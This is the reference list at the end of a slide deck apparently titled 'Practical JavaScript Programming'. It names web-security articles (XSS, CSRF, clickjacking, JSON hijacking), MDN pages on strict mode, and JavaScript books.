    Reference 78 ● Clickjacking -Wikipedia ● Cross-Site Scripting (XSS) Cheat Sheet | Veracode ● Cross-Site Scripting – Application Security – Google ● Dependency injection - Wikipedia ● Guide to CSRF (Cross-Site Request Forgery) | Veracode ● HTML5 Security Cheatsheet ● JavaScript Security ● JSON Hijacking | You've Been Hacked Practical JavaScript Programming
  • 79.
    Reference 79 ● Mixed content- Web security | MDN ● Principles of Writing Consistent, Idiomatic JavaScript ● Security Guide for Developers ● Social jacking - Wikipedia ● Strict mode restriction - JavaScript | MDN ● Strict mode - JavaScript | MDN ● The 23 Gang of Four Design Patterns ● Understanding Automatic Semicolon Insertion in JavaScript Practical JavaScript Programming
  • 80.
    Reference Books ● EffectiveJavaScript ● JavaScript: The Good Parts ● JavaScript: The Definitive Guide, 4th Edition ● Learning JavaScript Design Patterns 80 Practical JavaScript Programming
  • 81.
  • 82.